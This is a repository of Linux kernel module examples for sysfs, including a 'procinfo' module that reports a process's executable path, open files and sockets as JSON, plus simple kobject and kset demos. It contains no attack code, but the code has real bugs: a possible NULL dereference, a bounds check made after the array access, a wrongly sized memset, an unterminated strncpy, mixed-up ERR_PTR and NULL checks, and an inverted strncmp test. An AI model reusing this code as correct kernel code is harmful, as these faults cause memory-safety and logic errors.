{ 93 | struct procinfo_data *pinfo; 94 | 95 | if(count == 0) 96 | return 0; 97 | 98 | pinfo = container_of(kobj, struct procinfo_data, kobj); 99 | 100 | // If a JSON was previously loaded we have to destroy it 101 | if(pinfo->json) 102 | { 103 | kjson_delete_container(pinfo->json); 104 | pinfo->json = NULL; 105 | } 106 | 107 | /* json_answer is created into the start_procinfo_job, or is used here to print errors. 108 | * If we already have an old answer we have to destroy it 109 | */ 110 | if(pinfo->json_answer) 111 | { 112 | kjstring_free(pinfo->json_answer); 113 | pinfo->json_answer = NULL; 114 | } 115 | 116 | // Parse the JSON string passed and create the json container 117 | if((pinfo->json = kjson_parse(buffer)) == NULL) 118 | { 119 | // In case of error, we will write the error string into the sysfs buffer 120 | pinfo->json_answer = kjstring_alloc(128); 121 | if(pinfo->json_answer == NULL) 122 | return 0; 123 | 124 | kjstring_append(pinfo->json_answer, "Error parsing json. "); 125 | kjstring_append(pinfo->json_answer, kjson_parser_error_msg); 126 | kjstring_push(pinfo->json_answer, '\n'); 127 | 128 | return count; 129 | } 130 | 131 | // Ok, json is parsed. We can schedule our work and create the new json_answer. 132 | queue_work(pinfo->procinfo_job, &pinfo->job); 133 | 134 | return count; 135 | } 136 | 137 | void set_process_path(struct kjson_container *my_json, struct task_struct *task) 138 | { 139 | // Here we will do some operation to get the executable file to know it's path 140 | 141 | struct file *exe_file = NULL; 142 | struct mm_struct *mm; 143 | char exe_path_str[256], *res; 144 | 145 | if(unlikely(!task || !task->mm)) 146 | return; 147 | 148 | memset(exe_path_str, 0x0, 256); 149 | 150 | task_lock(task); 151 | 152 | // The executable file object is stored inside the mm_struct of the process 153 | mm = task->mm; 154 | rcu_read_lock(); 155 | exe_file = rcu_dereference(mm->exe_file); 156 | if(exe_file && !get_file_rcu(exe_file)) 157 | exe_file = NULL; 158 | rcu_read_unlock(); 159 | 160 | task_unlock(task); 161 | 162 | if(IS_ERR(res = d_path(&exe_file->f_path, exe_path_str, 256))) 163 | return; 164 | 165 | // Now, I can write the executable path to the my_json 166 | kjson_push_string(my_json, "ExecutablePath", res); 167 | } 168 | 169 | void set_file_open(struct kjson_container *my_json, struct task_struct *task) 170 | { 171 | // Here we will do some operation to get the file opened by the process 172 | 173 | struct files_struct *fss; 174 | struct file *filp; 175 | char *paths[32], *buffer[32]; 176 | int i = 0; 177 | 178 | memset(paths, 0x0, 32); 179 | 180 | task_lock(task); 181 | if(!(fss = task->files)) 182 | goto EXIT; 183 | 184 | while(fss->fd_array[i] != NULL && i < 32) 185 | { 186 | filp = fss->fd_array[i]; 187 | if(!(buffer[i] = (char*)get_zeroed_page(GFP_ATOMIC))) 188 | goto EXIT; 189 | paths[i] = d_path(&filp->f_path, buffer[i], 4096); 190 | i++; 191 | } 192 | 193 | // Now, I can write the process files open 194 | kjson_push_object(my_json, "ProcessFilesOpen", KOBJECT_TYPE_STRING_ARRAY, paths, i); 195 | 196 | EXIT: 197 | task_unlock(task); 198 | while(i > 0) 199 | free_page((unsigned long)buffer[--i]); 200 | } 201 | 202 | void set_socket_data(struct kjson_container *my_json, struct task_struct *task) 203 | { 204 | // Here we will do some operation to get the socket opened by the process 205 | 206 | struct files_struct *fss; 207 | struct file *filp; 208 | struct inode *inodp; 209 | struct socket *sk; 210 | struct sock *sockp; 211 | char addr[INET_ADDRSTRLEN]; 212 | int i = 0, j = 0; 213 | 214 | /* Pointer to an array of annidated JSON 215 | * We are storing each socket into a single JSON container 216 | */ 217 | struct kjson_container* json_socks[32]; 218 | 219 | task_lock(task); 220 | if(!(fss = task->files)) 221 | goto EXIT; 222 | 223 | while(fss->fd_array[i] != NULL && i < 32) 224 | { 225 | filp = fss->fd_array[i]; 226 | if(((inodp = file_inode(filp)) != NULL) && S_ISSOCK(inodp->i_mode)) 227 | { 228 | if((sk = (struct socket*)filp->private_data) != NULL) 229 | { 230 | sockp = sk->sk; 231 | if((json_socks[j] = kjson_new_container()) != NULL) 232 | { 233 | kjson_push_integer(json_socks[j], "Protocol", (int64_t)sockp->sk_protocol); 234 | 235 | snprintf(addr, 16, "%pI4", &sockp->sk_daddr); 236 | kjson_push_string(json_socks[j], "DestinationIP", addr); 237 | 238 | snprintf(addr, 16, "%pI4", &sockp->sk_rcv_saddr); 239 | kjson_push_string(json_socks[j], "SourceIP", addr); 240 | 241 | kjson_push_integer(json_socks[j], "DestinationPort", sockp->sk_dport); 242 | kjson_push_integer(json_socks[j], "SourceIP", sockp->sk_num); 243 | 244 | j++; 245 | } 246 | } 247 | } 248 | i++; 249 | } 250 | 251 | // Now, I can write the process files open 252 | kjson_push_object(my_json, "ProcessSockOpen", KOBJECT_TYPE_OBJECT_ARRAY, json_socks, j); 253 | 254 | EXIT: 255 | task_unlock(task); 256 | } 257 | 258 | // Job of the workqueue proinfo_job 259 | void start_procinfo_job(struct work_struct *work) 260 | { 261 | struct procinfo_data *pinfo; 262 | struct kjson_object_t *obj; 263 | struct kjstring_t *error_message; 264 | 265 | pinfo = container_of(work, struct procinfo_data, job); 266 | 267 | // If no json is allocated or json_answer already contains an answer: do anything 268 | // json and json_answer is deallocated when you insert a new request (store callback) 269 | if(pinfo->json == NULL || pinfo->json_answer != NULL) 270 | return; 271 | 272 | // Alloc memory to send errors 273 | error_message = kjstring_alloc(128); 274 | if(error_message == NULL) 275 | return; 276 | 277 | // Read the process_pid 278 | if((obj = kjson_lookup_object(pinfo->json, "process_pid")) == NULL) 279 | { 280 | kjstring_append(error_message, "No 'process_pid' key found\n"); 281 | // The json answer will contain the parse error 282 | pinfo->json_answer = error_message; 283 | return; 284 | } 285 | 286 | pid_t ppid = kjson_as_integer(obj); 287 | 288 | // Read the user requests 289 | if((obj = kjson_lookup_object(pinfo->json, "request")) == NULL) 290 | { 291 | kjstring_append(error_message, "No 'request' key found\n"); 292 | // The json answer will contain the parse error 293 | pinfo->json_answer = error_message; 294 | return; 295 | } 296 | 297 | size_t array_len = kjson_array_length(obj); 298 | char **options = kjson_as_string_array(obj); 299 | 300 | // ------ Execute our program ------ 301 | 302 | // Get the task_struct from the pid 303 | struct task_struct *task = get_pid_task(find_get_pid(ppid), PIDTYPE_TGID); 304 | // We want to avoid TASK_DEAD 305 | if(!task || task_state_index(task) == TASK_DEAD) 306 | { 307 | // Copy the error in the json_answer string 308 | kjstring_append(error_message, (int64_t)ppid); 309 | kjstring_append(error_message, ": pid doesn't match any task\n"); 310 | // The json answer will contain the parse error 311 | pinfo->json_answer = error_message; 312 | return; 313 | } 314 | 315 | int i = 0; 316 | while(i < array_len) 317 | { 318 | if(strcmp(options[i], "process_path") == 0) 319 | set_process_path(pinfo->json, task); 320 | else if(strcmp(options[i], "file_open") == 0) 321 | set_file_open(pinfo->json, task); 322 | else if(strcmp(options[i], "process_socket") == 0) 323 | set_socket_data(pinfo->json, task); 324 | 325 | i++; 326 | } 327 | 328 | // Get the json dump and print it 329 | if(IS_ERR(pinfo->json_answer = kjson_dump(pinfo->json))) 330 | { 331 | kjstring_append(error_message, "kjson dump error\n"); // THIS COULD'T BE HAPPEN 332 | // The json answer will contain the parse error 333 | pinfo->json_answer = error_message; 334 | } 335 | else // No error, we don't need error_message (it is empty) 336 | kjstring_free(error_message); 337 | } 338 | 339 | static struct procinfo_data *init(void) 340 | { 341 | struct procinfo_data *pinfo; 342 | int retval; 343 | 344 | if(IS_ERR(pinfo = kzalloc(sizeof(struct procinfo_data), GFP_KERNEL))) 345 | return ERR_PTR(-ENOMEM); 346 | 347 | // initialize a sysfs kobject to open an interface with the user 348 | if((retval = kobject_init_and_add(&pinfo->kobj, &procinfo_ktype, kernel_kobj, "%s", PROCINFO_OBJECT))) 349 | goto ERROR; 350 | 351 | INIT_WORK(&pinfo->job, start_procinfo_job); 352 | if((pinfo->procinfo_job = create_workqueue("procinfo_job")) == NULL) 353 | goto ERROR; 354 | 355 | goto EXIT; 356 | 357 | ERROR: 358 | kfree(pinfo); 359 | pinfo = ERR_PTR(-ENOMEM); 360 | 361 | EXIT: 362 | return pinfo; 363 | } 364 | 365 | struct procinfo_data *pinfo = NULL; 366 | 367 | int __init test_init(void) 368 | { 369 | if(IS_ERR((pinfo = init()))) 370 | return PTR_ERR(pinfo); 371 | 372 | return 0; 373 | } 374 | 375 | void __exit test_exit(void) 376 | { 377 | kobject_put(&pinfo->kobj); 378 | kfree(pinfo); 379 | } 380 | 381 | module_init(test_init); 382 | module_exit(test_exit); 383 | 384 | MODULE_LICENSE("GPL"); 385 | 386 | -------------------------------------------------------------------------------- /sysfs/Makefile: -------------------------------------------------------------------------------- 1 | kobject_example_obj-objs := kobject_example.o 2 | kobject_example_kobj-objs := kobj_attribute_example.o 3 | kobject_example_kset-objs := sysfs_kset_example.o 4 | 5 | obj-m := kobject_example_obj.o kobject_example_kobj.o kobject_example_kset.o 6 | 7 | #KDIR = /home/emanuele/linux-dev/linux-5.10.20 8 | COMPILE_DIR=$(PWD) 9 | KDIR = /lib/modules/$(shell uname -r)/build 10 | 11 | all: 12 | $(MAKE) -C $(KDIR) M=$(COMPILE_DIR) modules 13 | 14 | clean: 15 | rm -f -v *.o *.ko 16 | -------------------------------------------------------------------------------- /sysfs/README.md: -------------------------------------------------------------------------------- 1 | My guide to help you integrate sysfs into your Linux kernel module. 2 | [A complete exaplaination about kobject](https://medium.com/@emanuele.santini.88/sysfs-in-linux-kernel-a-complete-guide-part-1-c3629470fc84) and on part 2 the [file operations](https://medium.com/@emanuele.santini.88/a-complete-guide-to-sysfs-part-2-improving-the-attributes-1dbc1fca9b75). 3 | -------------------------------------------------------------------------------- /sysfs/kobj_attribute_example.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | /* 3 | * Copyright (C) 2023 - 2024 Emanuele Santini 4 | */ 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | /* 13 | * This module shows how to create a simple subdirectory in sysfs called 14 | * /sys/kernel/kobject-example. In that directory, 2 files are created: 15 | * "my_int" and "my_second_int". If an integer is written to these files, it can be 16 | * later read out of it. 17 | */ 18 | 19 | struct my_example_data { 20 | struct kobject example_kobj; 21 | int my_int; 22 | char my_buffer[256]; 23 | }; 24 | 25 | /* 26 | * "my_file_show" file perform the file read. 27 | */ 28 | static ssize_t my_file_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf) 29 | { 30 | struct my_example_data* my_data; 31 | my_data = container_of(kobj, struct my_example_data, example_kobj); 32 | 33 | // buf is mapped in user space. sysfs_emit will take care the dimension of the user space buffer for the output 34 | return sysfs_emit(buf, "%d\n", my_data->my_int); 35 | } 36 | 37 | /* 38 | * "my_file_store" file perform the file write. 39 | */ 40 | static ssize_t my_file_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count) 41 | { 42 | struct my_example_data* my_data; 43 | my_data = container_of(kobj, struct my_example_data, example_kobj); 44 | 45 | // Copy our int buffer to the char kernel buffer mapped in user space 46 | if(kstrtoint(buf, 10, &my_data->my_int) < 0) 47 | return 0; 48 | 49 | return count; 50 | } 51 | 52 | static ssize_t my_buffer_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf) 53 | { 54 | struct my_example_data* my_data; 55 | my_data = container_of(kobj, struct my_example_data, example_kobj); 56 | 57 | // Copy out buffer to user - buf points a kernel page, that will be mapped in user space 58 | return sysfs_emit(buf, "%s\n", my_data->my_buffer); 59 | } 60 | 61 | static ssize_t my_buffer_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count) 62 | { 63 | struct my_example_data* my_data; 64 | my_data = container_of(kobj, struct my_example_data, example_kobj); 65 | // Copy the user space string stored in buf to our buffer - buf points a kernel page mapped in user space 66 | strncpy(my_data->my_buffer, buf, 256); 67 | 68 | return count; 69 | } 70 | 71 | static void my_file_release(struct kobject *kobj) 72 | { 73 | // Invoked when kobject_put is called to destroy this kobject 74 | printk("Anything to do!\n"); 75 | } 76 | 77 | /* Defines my_int attribute in /sys/kernel/kobjec-example-2/ */ 78 | static struct kobj_attribute my_file_attribute = __ATTR(my_int, 0664, my_file_show, my_file_store); 79 | 80 | /* Defines my_buffer attribute in /sys/kernel/kobjec-example-2/ */ 81 | static struct kobj_attribute my_buffer_attribute = __ATTR(my_buffer, 0664, my_buffer_show, my_buffer_store); 82 | 83 | // The attributes array to bind to the kobject 84 | static struct attribute *my_file_attrs[] = { 85 | &my_file_attribute.attr, 86 | &my_buffer_attribute.attr, 87 | NULL, 88 | }; 89 | 90 | /* This is the same of: 91 | * struct attribute_group the my_file_groups = { 92 | * .attrs = my_file_attrs, 93 | * }; 94 | * That contains the attribute_group 95 | */ 96 | ATTRIBUTE_GROUPS(my_file); 97 | 98 | /* 99 | * Our own ktype for our kobjects. Here we specify kobj_sysfs_ops 100 | * as sysfs ops, that is a default operations struct, 101 | * release function, and the set of attributes we want created 102 | * whenever a kobject of this type is registered with the kernel. 103 | */ 104 | static const struct kobj_type my_ktype = { 105 | .sysfs_ops = &kobj_sysfs_ops, 106 | .release = my_file_release, 107 | .default_groups = my_file_groups, 108 | }; 109 | 110 | struct my_example_data *data = NULL; 111 | 112 | static int __init example_init(void) 113 | { 114 | int retval; 115 | 116 | if((data = kzalloc(sizeof(struct my_example_data), GFP_KERNEL)) == NULL) 117 | return -ENOMEM; 118 | 119 | /* 120 | * Create a simple kobject with the name of "kobject_example", 121 | * located under /sys/kernel/ 122 | * The kobject path will be: /sys/kernel/kobject_example 123 | */ 124 | retval = kobject_init_and_add(&data->example_kobj, &my_ktype, kernel_kobj, "%s", "kobject_example"); 125 | if(retval) 126 | return -ENOMEM; 127 | 128 | return 0; 129 | } 130 | 131 | static void __exit example_exit(void) 132 | { 133 | kobject_put(&data->example_kobj); 134 | kfree(data); 135 | } 136 | 137 | module_init(example_init); 138 | module_exit(example_exit); 139 | MODULE_LICENSE("GPL"); 140 | MODULE_AUTHOR("Emanuele Santini "); 141 | -------------------------------------------------------------------------------- /sysfs/kobject_example.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | /* 3 | * Copyright (C) 2023 - 2024 Emanuele Santini 4 | */ 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | /* 12 | * This module shows how to create a simple subdirectory in sysfs called 13 | * /sys/kernel/kobject-example. In that directory, 2 files are created: 14 | * "my_int" and "my_second_int". If an integer is written to these files, it can be 15 | * later read out of it. 16 | */ 17 | 18 | struct kobject example_kobj; 19 | static int my_int = 0; 20 | static int my_second_int = 0; 21 | 22 | /* 23 | * "my_file_show" file perform the file read. 24 | */ 25 | static ssize_t my_file_show(struct kobject *kobj, struct attribute *attr, char *buf) 26 | { 27 | int ret = 0; 28 | 29 | // attr->name is the name of the attribute where the read operation is performed 30 | 31 | if(strncmp(attr->name, "my_int", 6)) 32 | ret = sysfs_emit(buf, "%d\n", my_int); 33 | else // if(strcmp(attr->name, "my_second_int")) 34 | ret = sysfs_emit(buf, "%d\n", my_second_int); 35 | 36 | return ret; 37 | } 38 | 39 | /* 40 | * "my_file_store" file perform the file write. 41 | */ 42 | static ssize_t my_file_store(struct kobject *kobj, struct attribute *attr, const char *buf, size_t count) 43 | { 44 | int ret; 45 | 46 | // attr->name is the name of the attribute where the read operation is performed 47 | 48 | if(strncmp(attr->name, "my_int", 6)) 49 | ret = kstrtoint(buf, 10, &my_int); 50 | else 51 | ret = kstrtoint(buf, 10, &my_second_int); 52 | 53 | // Converts the string type to an integer 54 | 55 | if(ret < 0) 56 | return ret; 57 | 58 | return count; 59 | } 60 | 61 | static void my_file_release(struct kobject *kobj) 62 | { 63 | // Invoked when kobject_put is called to destroy this kobject 64 | printk("Anything to do!\n"); 65 | } 66 | 67 | // Defines the sysfs operation methods (read and write). 68 | struct sysfs_ops my_sysfs_ops = { 69 | .show = my_file_show, 70 | .store = my_file_store, 71 | }; 72 | 73 | /* Defines my_int attribute */ 74 | static struct attribute my_file_attribute = { 75 | .name = "my_int", // The regular file name 76 | .mode = 0664, 77 | }; 78 | 79 | /* Defines my_second_int attribute */ 80 | static struct attribute my_second_file_attribute = { 81 | .name = "my_second_int", // The regular file name 82 | .mode = 0664, 83 | }; 84 | 85 | // The attributes array to bind to the kobject 86 | static struct attribute *my_file_attrs[] = { 87 | &my_file_attribute, 88 | &my_second_file_attribute, 89 | NULL, 90 | }; 91 | 92 | /* This is the same of: 93 | * struct attribute_group the my_file_groups = { 94 | * .attrs = my_file_attrs, 95 | * }; 96 | * That contains the attribute_group 97 | */ 98 | ATTRIBUTE_GROUPS(my_file); 99 | 100 | /* 101 | * Our own ktype for our kobjects. Here we specify our sysfs ops, the 102 | * release function, and the set of attributes we want created 103 | * whenever a kobject of this type is registered with the kernel. 104 | */ 105 | static const struct kobj_type my_ktype = { 106 | .sysfs_ops = &my_sysfs_ops, 107 | .release = my_file_release, 108 | .default_groups = my_file_groups, 109 | }; 110 | 111 | static int __init example_init(void) 112 | { 113 | int retval; 114 | 115 | /* 116 | * Create a simple kobject with the name of "kobject_example", 117 | * located under /sys/kernel/ 118 | * The kobject path will be: /sys/kernel/kobject_example 119 | */ 120 | retval = kobject_init_and_add(&example_kobj, &my_ktype, kernel_kobj, "%s", "kobject_example"); 121 | if (retval) 122 | return -ENOMEM; 123 | 124 | return 0; 125 | } 126 | 127 | static void __exit example_exit(void) 128 | { 129 | kobject_put(&example_kobj); 130 | } 131 | 132 | module_init(example_init); 133 | module_exit(example_exit); 134 | MODULE_LICENSE("GPL"); 135 | MODULE_AUTHOR("Emanuele Santini "); 136 | -------------------------------------------------------------------------------- /sysfs/sysfs_kset_example.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | /* 3 | * Copyright (C) 2023 - 2024 Emanuele Santini 4 | */ 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | /* 13 | * This module shows how to create a simple subdirectory in sysfs called 14 | * /sys/kernel/kobject-example. In that directory, 2 files are created: 15 | * "my_int" and "my_second_int". If an integer is written to these files, it can be 16 | * later read out of it. 17 | */ 18 | 19 | struct my_example_data { 20 | struct kobject example_kobj; 21 | int my_int; 22 | char my_buffer[256]; 23 | }; 24 | 25 | /* 26 | * "my_file_show" file perform the file read. 27 | */ 28 | static ssize_t my_file_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf) 29 | { 30 | struct my_example_data* my_data; 31 | my_data = container_of(kobj, struct my_example_data, example_kobj); 32 | 33 | // buf is mapped in user space. sysfs_emit will take care the dimension of the user space buffer for the output 34 | return sysfs_emit(buf, "%d\n", my_data->my_int); 35 | } 36 | 37 | /* 38 | * "my_file_store" file perform the file write. 39 | */ 40 | static ssize_t my_file_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count) 41 | { 42 | struct my_example_data* my_data; 43 | my_data = container_of(kobj, struct my_example_data, example_kobj); 44 | 45 | // Copy our int buffer to the char kernel buffer mapped in user space 46 | if(kstrtoint(buf, 10, &my_data->my_int) < 0) 47 | return 0; 48 | 49 | return count; 50 | } 51 | 52 | static ssize_t my_buffer_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf) 53 | { 54 | struct my_example_data* my_data; 55 | my_data = container_of(kobj, struct my_example_data, example_kobj); 56 | 57 | // Copy out buffer to user - buf points a kernel page, that will be mapped in user space 58 | return sysfs_emit(buf, "%s\n", my_data->my_buffer); 59 | } 60 | 61 | static ssize_t my_buffer_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count) 62 | { 63 | struct my_example_data* my_data; 64 | my_data = container_of(kobj, struct my_example_data, example_kobj); 65 | // Copy the user space string stored in buf to our buffer - buf points a kernel page mapped in user space 66 | strncpy(my_data->my_buffer, buf, 256); 67 | 68 | return count; 69 | } 70 | 71 | static void my_file_release(struct kobject *kobj) 72 | { 73 | struct my_example_data* my_data; 74 | my_data = container_of(kobj, struct my_example_data, example_kobj); 75 | printk("Freeing %s\n", kobj->name); 76 | kfree(my_data); 77 | } 78 | 79 | /* Defines my_int attribute in /sys/kernel/kobjec-example-2/ */ 80 | static struct kobj_attribute my_file_attribute = __ATTR(my_int, 0664, my_file_show, my_file_store); 81 | 82 | /* Defines my_buffer attribute in /sys/kernel/kobjec-example-2/ */ 83 | static struct kobj_attribute my_buffer_attribute = __ATTR(my_buffer, 0664, my_buffer_show, my_buffer_store); 84 | 85 | // The attributes array to bind to the kobject 86 | static struct attribute *my_file_attrs[] = { 87 | &my_file_attribute.attr, 88 | &my_buffer_attribute.attr, 89 | NULL, 90 | }; 91 | 92 | /* This is the same of: 93 | * struct attribute_group the my_file_groups = { 94 | * .attrs = my_file_attrs, 95 | * }; 96 | * That contains the attribute_group 97 | */ 98 | ATTRIBUTE_GROUPS(my_file); 99 | 100 | /* 101 | * Our own ktype for our kobjects. Here we specify kobj_sysfs_ops 102 | * as sysfs ops, that is a default operations struct, 103 | * release function, and the set of attributes we want created 104 | * whenever a kobject of this type is registered with the kernel. 105 | */ 106 | static const struct kobj_type my_ktype = { 107 | .sysfs_ops = &kobj_sysfs_ops, 108 | .release = my_file_release, 109 | .default_groups = my_file_groups, 110 | }; 111 | 112 | static struct kset *example_kset = NULL; 113 | struct my_example_data *m_data_1 = NULL; 114 | struct my_example_data *m_data_2 = NULL; 115 | struct my_example_data *m_data_3 = NULL; 116 | 117 | static struct my_example_data *create_kobject(const char *name) 118 | { 119 | struct my_example_data *m_data; 120 | int retval; 121 | 122 | if((m_data = kzalloc(sizeof(struct my_example_data), GFP_KERNEL)) == NULL) 123 | return ERR_PTR(-ENOMEM); 124 | 125 | /* 126 | * As we have a kset for this kobject, we need to set it before calling the kobject. 127 | */ 128 | m_data->example_kobj.kset = example_kset; 129 | 130 | retval = kobject_init_and_add(&m_data->example_kobj, &my_ktype, NULL, "%s", name); 131 | if(retval) 132 | { 133 | kfree(m_data); 134 | return ERR_PTR(-ENOMEM); 135 | } 136 | 137 | /* 138 | * We are always responsible for sending the uevent that the kobject 139 | * was added to the system. 140 | */ 141 | kobject_uevent(&m_data->example_kobj, KOBJ_ADD); 142 | 143 | return m_data; 144 | } 145 | 146 | static int __init example_init(void) 147 | { 148 | int retval; 149 | 150 | /* 151 | * Create a kset with the name of "kset_example", 152 | * located under /sys/kernel/ 153 | */ 154 | example_kset = kset_create_and_add("kset_example", NULL, kernel_kobj); 155 | if(!example_kset) 156 | return -ENOMEM; 157 | 158 | /* 159 | * Create three objects and register them with our kset 160 | */ 161 | if((m_data_1 = create_kobject("setA")) == NULL) 162 | goto SETA_ERROR; 163 | 164 | if((m_data_2 = create_kobject("setB")) == NULL) 165 | goto SETB_ERROR; 166 | 167 | if((m_data_3 = create_kobject("setC")) == NULL) 168 | goto SETC_ERROR; 169 | 170 | return 0; 171 | 172 | SETC_ERROR: 173 | kobject_put(&m_data_2->example_kobj); 174 | kfree(m_data_2); 175 | SETB_ERROR: 176 | kobject_put(&m_data_1->example_kobj); 177 | kfree(m_data_1); 178 | SETA_ERROR: 179 | kset_unregister(example_kset); 180 | return -EINVAL; 181 | } 182 | 183 | static void __exit example_exit(void) 184 | { 185 | kobject_put(&m_data_1->example_kobj); 186 | kobject_put(&m_data_2->example_kobj); 187 | kobject_put(&m_data_3->example_kobj); 188 | kset_unregister(example_kset); 189 | } 190 | 191 | module_init(example_init); 192 | module_exit(example_exit); 193 | MODULE_LICENSE("GPL"); 194 | MODULE_AUTHOR("Emanuele Santini "); 195 | --------------------------------------------------------------------------------